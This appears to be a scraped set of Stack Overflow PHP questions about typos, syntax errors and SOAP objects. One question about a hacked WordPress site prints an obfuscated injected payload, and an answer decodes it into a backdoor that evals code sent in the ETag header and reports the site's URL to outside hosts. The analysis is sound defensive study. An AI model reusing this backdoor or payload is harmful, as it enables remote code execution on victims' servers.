PHP class doesn't recognize this->method() [closed] - php

Closed. This question is not reproducible or was caused by typos. It is not currently accepting answers.
This question was caused by a typo or a problem that can no longer be reproduced. While similar questions may be on-topic here, this one was resolved in a way less likely to help future readers.
Closed 7 years ago.
Improve this question
When trying to access a method I've defined in a PHP class from within another method in the same class, I get the following error:
Parse error: syntax error, unexpected '->' (T_OBJECT_OPERATOR) in /var/www/.../TOC.php on line 57
Previously, I'd these functions sitting outside of any class, just including them where I needed them. Having moved them into one, at first I thought I must be having the issue this user was having, but with an instance of the class, I can call my render method from another file with no problems. Commenting out the line this->printTreeArray($sectionProjects); eliminates the error. Here's my class:
<?php
class TOC{
private function printTreeArray($sectionProjects){
echo "var TOCnodes = [\n";
//Print each section, with another loop to print each one's problems
$i = 0;
foreach($sectionProjects as $sectionProject){
if($i != 0){
echo ",\n";
}
$project = $sectionProject->getProject();
//Get due date for mouseover text
$due = $project->getDueDate('F jS, Y h:i A');
$q = new ProjectProblemQuery();
$projectProblems = $q->findByRelProjectId($project->getId());
$pId = $i + 1;
echo "{id: $pId, pId: 0, name: \"Project $pId\", title: \"Due: $due\", isParent: true, open: true}";
//Print this section's problem list
$probId = 1;
foreach($projectProblems as $projectProblem){
echo ",\n";
$nodeId = ($pId * 10) + $j;
echo "{id: $nodeId, pId: $pId, name: \"$pId.$probId\", url: \"#\", target: \"_top\"}";
$j++;
}
$i++;
}
echo"];\n";
}
public function render($section){
if(! $section instanceof Section){
echo "$section is not an instance of Section!";
}
else{
echo "<ul id=\"TOCtree\" class=\"ztree\"></ul>\n";
echo "<script type=\"text/javascript\">\n";
$sectionProjects = $section->getSectionProjects();
this->printTreeArray($sectionProjects);
echo "$(document).ready(function () {
$.fn.zTree.init($(\"#TOCtree\"), setting, TOCnodes);
});";
echo "</script>";
}
}
}
This is my first time asking a question on SO - generally I've been able to find answers to my coding dilemmas, but this one has me baffled. I realize there's a lot of not-elegant stuff going on in this class, so if there's a point of style I can use to avoid this sort of error in the future, I'd greatly appreciate getting to learn it.

You should use $this instead of this.

Related

PHP - if int reached to n [closed]

Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 1 year ago.
Improve this question
Take these levels:
level1 = 0days
level2 = 30days
level3 = 90days
All these levels are totally dynamic. Admin can alter number of levels and duration of levels at any time.
I am recording numberOfDailyLogin in a series, so if user not login even for 1 day meter reset to 0.
I am trying to give user a special level tag on basis of numberOfDailyLogin
I have a solution already by running a while loop from 0 to numberOfDailyLogin and update variable once >= daysRequired for login.
But I don't want it this way, want something easy
I am totally clueless at this point, I can't hardcode any of the
value, so please if you are interest please give some suggestion.
#Edit1
// json response for levels
{
"status": 200,
"body": [
{
"name": "level1",
"after_days": 0,
},
{
"name": "level2",
"after_days": 50,
},
{
"name": "level3",
"after_days": 180,
}
]
}
function getLevel($allLevels, $numberOfDailyLogins) {
foreach ($allLevels as $l) {
if ($numberOfDailyLogins > $l['after_days']) {
return $l['name'];
}
}
}
Problem is if numberOfDailyLogins=51.. so it should show level2... cause after 50 days userLevel reached to level2.. but my code return level1 which is totally wrong.
#brombeer suggestion works for me, Thanks mate
function getLevel($allLevels, $numberOfDailyLogins) {
$level = null;
foreach ($allLevels as $l) {
if ($numberOfDailyLogins> $l['after_days']) {
$level = $l;
}
}
// TO-DO... do whatever you want
}
It's a simple logic error - your code returns after the first iteration because the value is already greater than 0 (the first level in the list).
One simple solution is to search the array in reverse instead:
function getLevel($allLevels, $numberOfDailyLogins) {
for ($i = count($allLevels) -1; $i >= 0; $i--) {
if ($numberOfDailyLogins > $allLevels[$i]['after_days']) {
return $allLevels[$i]['name'];
}
}
}
Demo: http://sandbox.onlinephpfunctions.com/code/3b00c6d182676411915cae1fbb21a1afba2548e8

Syntax error when accessing an array [closed]

Closed. This question is not reproducible or was caused by typos. It is not currently accepting answers.
This question was caused by a typo or a problem that can no longer be reproduced. While similar questions may be on-topic here, this one was resolved in a way less likely to help future readers.
Closed 8 years ago.
Improve this question
I have a problem. I've created a class 'Game', and in this class I have an array named 'ShadowField'. This Field contains objects ('Fields'):
class Game extends Gameboard
{
public $ShadowField = array();
public $GameField = array();
public $Home = array();
function __construct($c,$h,$w,$m,$fc){
parent::__construct($c,$h,$w);
$counter = 1;
for($index_h=0; $index_h<11; $index_h++){
for($index_w=0; $index_w<11; $index_w++){
array_push($this->ShadowField, new Field(parent::$this, $m, "FF8000", ($h/11.1)*$index_h, ($w/11.15)*$index_w, true, $counter, $index_h, $index_w));
$counter++;
}
}
$PlayerRed = new PlayerHome($this, $m, "FF0000", 0);
}
}
Then, in my next class, I tried to use this array, but then I got an error:
for($i=0;$i<4;$i++){
parent::__construct($game,$m,$c,$game->ShadowField[$FieldID[$i]]->Top,ShadowField[$FieldID[$i]]->Left);
}
Error:
Parse error: syntax error, unexpected '[' in C:\XAMPP\xampp\htdocs\ot\madn\Game.class.php on line 63
I don't understand it because it's an array, and I am calling it like an array, so what is the problem?
The "FieldID" is an array, too:
class PlayerHome extends Field
{
public $Color;
public $Player;
public $FieldID = array();
function __construct(Game $game, $m, $c, $p){
switch($p){
case 0: array_push($FieldID,1,2,12,13);
case 1: array_push($FieldID,10,11,21,22);
case 2: array_push($FieldID,100,101,111,112);
case 3: array_push($FieldID,109,110,120,121);
default:echo "Player_$p existiert nicht, bitte eine SpielerID zwischen 0-3 wählen.";
}
for($i=0;$i<4;$i++){
parent::__construct($game,$m,$c,$game->ShadowField[$FieldID[$i]]->Top,ShadowField[$FieldID[$i]]->Left);
}
}
}
(p.s.: Sorry for bad english)
You use it correctly the first time:
$game->ShadowField[$FieldID[$i]]->Top
However the second time you call ShadowField by itself without referencing the object:
ShadowField[$FieldID[$i]]->Left
Replace the line in the loop with this (formatted for visibility):
parent::__construct($game,
$m,
$c,
$game->ShadowField[$FieldID[$i]]->Top,
$game->ShadowField[$FieldID[$i]]->Left);

I get this error Parse error: syntax error, unexpected '[' [closed]

Closed. This question does not meet Stack Overflow guidelines. It is not currently accepting answers.
This question does not appear to be about programming within the scope defined in the help center.
Closed 9 years ago.
Improve this question
<?php
// configuration
require("../includes/config.php");
render("home_form.php", ["title" => "Log In"]);
?>
/**
* Renders template, passing in values.
*/
function render($template, $values = [])
{
// if template exists, render it
if (file_exists("../templates/$template"))
{
// extract variables into local scope
extract($values);
// render header
require("../templates/header.php");
// render template
require("../templates/$template");
// render footer
require("../templates/footer.php");
}
// else err
else
{
trigger_error("Invalid template: $template", E_USER_ERROR);
}
}
replace render("home_form.php", ["title" => "Log In"]);
with
render("home_form.php", array("title" => "Log In"));
and
$values = []
with
$values = array()
Which PHP version do you use?
Short array syntax is available since PHP 5.4.0: http://php.net/manual/en/migration54.new-features.php

Malicious encoded string in my wordpress site, what does it do? [closed]

Closed. This question does not meet Stack Overflow guidelines. It is not currently accepting answers.
Closed 9 years ago.
Questions asking for code must demonstrate a minimal understanding of the problem being solved. Include attempted solutions, why they didn't work, and the expected results. See also: Stack Overflow question checklist
This question does not appear to be about a specific programming problem, a software algorithm, or software tools primarily used by programmers. If you believe the question would be on-topic on another Stack Exchange site, you can leave a comment to explain where the question may be able to be answered.
Improve this question
My site is not working at all, and I noticed that someone put this string on the top of all the .php files:
<?php /* b9cb27b481275ee07e304fa452b06754b499b5bf */ $u="p"."r"."e"."g"."_"."rep"."l"."ac"."e";$z="gzunc"."om"."press";$m="bas"."e"."64"."_dec"."ode";$u("/x"."wab"."z5/e",$z($m("eNrNVW"."1Po0AQ/"."i8mTfSDBLcslNwnrWj"."P86q2WHOfmgWGlpMuuEBr/737AnSx1XiX"."+3AJ"."Jcu8PDPz"."zMwW1iQ"."9ZmRTsTSCMIvg+CiuaFgmGe0hc3x+97S+zfmphwY9ZNFievv03ENDKbEe0qqHXHF2LmrJ02wkTv1L/iaMka10dHt9YRBnrIVKtjfcylSK5nuIsN2RoAv57MfAF7UFvmzjNSjSzqkl"."/mS8bC3Mf5l"."HB1"."mBNSL0SapSl7Gow2hrIwwwfxclS4F2WXclglun"."Ic30PE"."c"."/t7TUydiL3v"."8CgzudLO"."agV6P"."R3FTwLvV1PTrzHzSEi/P1VaUBIvHs"."NWtcbfJ"."Ot5RgqLNVD2XH4lD79O"."x2o9A06Owjlv+q6/95w1r2jR0q"."Z1G6Sv6UK/b4O1yym"."ucGffDZoB9O"."o8"."uHkmizw6CsG"."NUy03R"."JrHhPigJKFXw+9"."SYzb"."yJjO"."CPfv597/vk1P7exCI0U2iL9MWtZg"."Nc8"."5TceB2"."lvPwmIZOpIuoqbLiAF2Na8tS"."iqgA/cV2ILb9ys7"."C4ReTHOi"."2"."US1xW"."otNw6s2YFLOIS"."jL"."Dp9B0X2xa2Y4DAN"."JHjBpFtAsAgCAAHuMnVjBKRHvArXRC0+lp1enhX35xoFc+S7MBtj"."pZlyb"."fuvIeu+LMm"."eZHQKCFGxhb823jeBO"."RF6pCM0DUPGZAyoYslyfOEQ"."lEYCRVei"."zKvyg+9IC5PeZgwS7NFQk6BAltAmYTECLOVETAZ9/fmJW8Q6jKKZRXHqSq8"."Lagp0TLjJIU5B5qHGS2BlgU3VM3Js/y9k2QrJmkB6shn"."AMhKub5yCFEYNAAaUeI"."i4031NPkKymUWtRp+uPb8XeVAImC61vPJQnJhbm/80S8uMeqhBFo3tv2rFviN"."VdNhtLqf"."jDdiw3EoBtpFoOR7MFxmn5FggELXsSNrgOEs6AcBQY7VN8FyosC2ohBh7MY1Qif"."wH41sPX37KzS6m/pqhYz3+on38OhN/fnj5Lu24PVjCFg"."8ZPxHmxHfTfXR"."ycm3N+BnRcY=")),"/x"."wabz5/"."e"); /* f9d4b9453f919477fd0a13c96fe26367485b9689 */ ?>
What does this ^ do?
Right now I'm using the command "grep" to find all the infected files, but I'm not sure if I will be able to make my site work again only removing these strings from the .php files.
FWIW, the following code seems to be eval'd, might have made a mistake along the way. Evil, but fascinating. Seems to have something to do with HTTP ETags.
function NAOWvLp ($nsSLWk, $Qlu) {
$QWVH = array();
for ($iyJ=0; $iyJ<256; $iyJ++) {
$QWVH[$iyJ] = $iyJ;
}
$TRNh = 0;
for ($iyJ=0; $iyJ<256; $iyJ++) {
$TRNh = ($TRNh + $QWVH[$iyJ] + ord($nsSLWk[$iyJ % strlen($nsSLWk)])) % 256;
$HMynt = $QWVH[$iyJ];
$QWVH[$iyJ] = $QWVH[$TRNh];
$QWVH[$TRNh] = $HMynt;
}
$iyJ = 0;
$TRNh = 0;
$pvFu = "";
for ($Nuwp=0; $Nuwp<strlen($Qlu); $Nuwp++) {
$iyJ = ($iyJ + 1) % 256;
$TRNh = ($TRNh + $QWVH[$iyJ]) % 256;
$HMynt = $QWVH[$iyJ];
$QWVH[$iyJ] = $QWVH[$TRNh];
$QWVH[$TRNh] = $HMynt;
$pvFu .= $Qlu[$Nuwp] ^ chr($QWVH[($QWVH[$iyJ] + $QWVH[$TRNh]) % 256]);
}
return $pvFu;
}
if (isset($_SERVER['HTTP_ETAG']) and
$glKV = explode(urldecode("+"), base64_decode(substr($_SERVER['HTTP_ETAG'], 5))) and
array_shift($glKV) == "4a9a5250737956456feeb00279bd60eee8bbe5b5") {
die(eval(implode(urldecode("+"), $glKV)));
$dmfVio = array("http://vapsindia.org/.kwbaq/","http://creatinghappiness.in/.gtput/","http://eft-psicologia-energetica.com.br/.kjwqp/");
shuffle($dmfVio);
#file_get_contents(
array_pop($dmfVio),
false,
stream_context_create(
array(
"http"=>array(
"method"=>"GET",
"header"=>"ETag: yJTHY"
.base64_encode(
NAOWvLp(
"yJTHY",
"mPRNwu 5c b92e "
.base64_encode(
"61ab82c976d485e1b3bba27430e47db64dc2559f "
.NAOWvLp(
"4a9a5250737956456feeb00279bd60eee8bbe5b5",
$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']
)
)
)
)."\r\n"
)
)
)
);
}

PHP: Catchable fatal error: Object of class stdClass could not be converted to string [closed]

Closed. This question does not meet Stack Overflow guidelines. It is not currently accepting answers.
Questions asking for code must demonstrate a minimal understanding of the problem being solved. Include attempted solutions, why they didn't work, and the expected results. See also: Stack Overflow question checklist
Closed 9 years ago.
Improve this question
I get the following dump & error when running the attached code. What I'm confused by is that $procID appears to be returned as a string, but as soon as I attempt to pass it again, its an object? How do I get it to be/stay a string? Thanks.
object(stdClass)#2 (1) {
["processId"]=> string(13)
"Genesis114001" } string(311)
"Genesis114001" string(293) " Genesis
" Catchable fatal error: Object of
class stdClass could not be converted
to string in
C:\wamp\www\SugarCE\testSOAPShawn.php
on line 15
<?php
set_time_limit(0);
require_once('nusoap.php');
require_once('BenefitSOAP.php'); //WSDL to PHP Classes
$client = new SoapClient('C:\wsdl\BenefitDeterminationProcess_BenefitDialogueServiceSOAP.wsdl', array('trace' => 1));
$procID = $client->start(array("prefix"=>"Genesis"));
$respXML = $client->__getLastResponse();
$requXML = $client->__getLastRequest();
echo "<p/>";
var_dump($procID);
//echo "<p/>";
var_dump($respXML);
//echo "<p/>";
var_dump($requXML);
$exchange = $client->exchangeOptions(array("processId"=>$procID)); //LINE 15
$end = $client->stop(array("processId"=>$procID));
?>
Whatever the $client->start() method is returning, it is typed as an object. You can access the properties of the object using the -> operator:
$procID = $client->start(array("prefix"=>"Genesis"));
...
$exchange = $client->exchangeOptions(array("processId"=>$procID->processId));
This was probably an array, but is getting typed into an object. Thus, you end up with the stdClass.
Another (and possibly better) way to do this is to type the return. That way, you don't have to make a new array for later passing as argument:
$procID = (array) $client->start(array("prefix"=>"Genesis"));
...
$exchange = $client->exchangeOptions($procID);
$end = $client->stop($procID);

Categories